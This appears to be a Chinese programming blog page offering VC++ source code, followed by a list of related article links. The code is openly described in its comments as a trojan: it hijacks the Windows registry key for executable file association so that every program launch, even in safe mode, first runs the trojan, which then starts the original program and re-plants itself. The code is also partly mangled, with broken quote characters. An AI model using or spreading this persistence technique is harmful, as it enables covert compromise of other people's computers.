vc++實現檔案關聯
#include <stdio.h>
#include <windows.h>
int main(int argc,char *argv[])
{
MessageBox(NULL,”Hello”,NULL,MB_OK);
char temp[256];
memset(temp,0,256);
if(argc!=1){
int length =strlen(argv[1]);
char *ch=(char *)malloc(length);
strcpy(ch,argv[1]);
for(int i=0;i<length;i++,ch++)
{
if(*ch==`\`)
strncat(temp,”\\”,2);
else strncat(temp,ch,1);
}
}//上面的函式是把字串中所有的””變為”\”
char str[]=””%1″ %*”;
RegSetValue(HKEY_CLASSES_ROOT,”exefile\shell\open\command”,REG_SZ,(LPCTSTR)str,strlen(str)+1);
// 在執行原有程式之前必須把登錄檔恢復,否則用ShellExecute還是執行我們的木馬程式。
ShellExecute(NULL,”open”,temp,NULL,NULL,SW_SHOW);//執行原有的程式
//在程式執行完成後,再把登錄檔改為我們要啟動的木馬程式的
TCHAR filename[256];
// 得到程式全路徑名
GetModuleFileName( NULL, filename, 255 );
strcat(filename,” “%1″ %*”);
RegSetValue(HKEY_CLASSES_ROOT,”exefile\shell\open\command”,REG_SZ,(LPCTSTR)filename , strlen(filename) + 1);
//經過上述過程只要程式一執行就會執行我們的start 程式了。即使是在安全模式下只要執行可執行程式就會執行我們的程式了。
return 0;
}
相關文章
- Windows檔案關聯Windows
- windows 更改檔案關聯Windows
- 關於node實現檔案上傳
- VC++學習筆記---配置檔案(一) ini檔案和propritiesC++筆記
- 如何在macOS中管理檔案關聯?Mac
- 如何在macOS中管理檔案關聯Mac
- AssociatedObject關聯物件原理實現Object物件
- 實驗七 檔案相關
- PHP實現單檔案、多檔案上傳 封裝 物件導向實現檔案上傳PHP封裝物件
- js實現使用檔案流下載csv檔案JS
- 實現 MongoDB 外來鍵關聯MongoDB
- 關聯物件的實現原理【OC】物件
- 通過配置檔案(.htaccess)實現檔案上傳
- ajax實現檔案上傳
- Java實現檔案切割拼接Java
- Flutter實現檔案下載Flutter
- 實現檔案快速預覽
- AJAX實現檔案下載----
- MP4檔案分割實現
- 檔案上傳原理和實現
- 使用Spring實現上傳檔案Spring
- nginx實現檔案伺服器Nginx伺服器
- 利用pearcmd實現裸檔案包含
- 使用Servlet實現檔案下載Servlet
- C語言實現檔案加密C語言加密
- Linux檔案系統的實現Linux
- 檔案管理,實現高效辦公
- Spring mvc檔案上傳實現SpringMVC
- HttpFileCollection 實現多檔案上傳HTTP
- Flutter 實現檔案下載功能Flutter
- 02 使用配置檔案+反射實現反射
- 實現檔案快速預覽方案
- vc實現https檔案下載HTTP
- Python | 實現pdf檔案分頁Python
- Java實現檔案下載功能Java
- node實現檔案屬性批量修改(檔名)
- 關於Extjs6.0 controller檔案過大,實現模組化分離JSController
- Spring Data JPA 實現多表關聯查詢Spring
- MyBatis實現一對一關聯對映MyBatis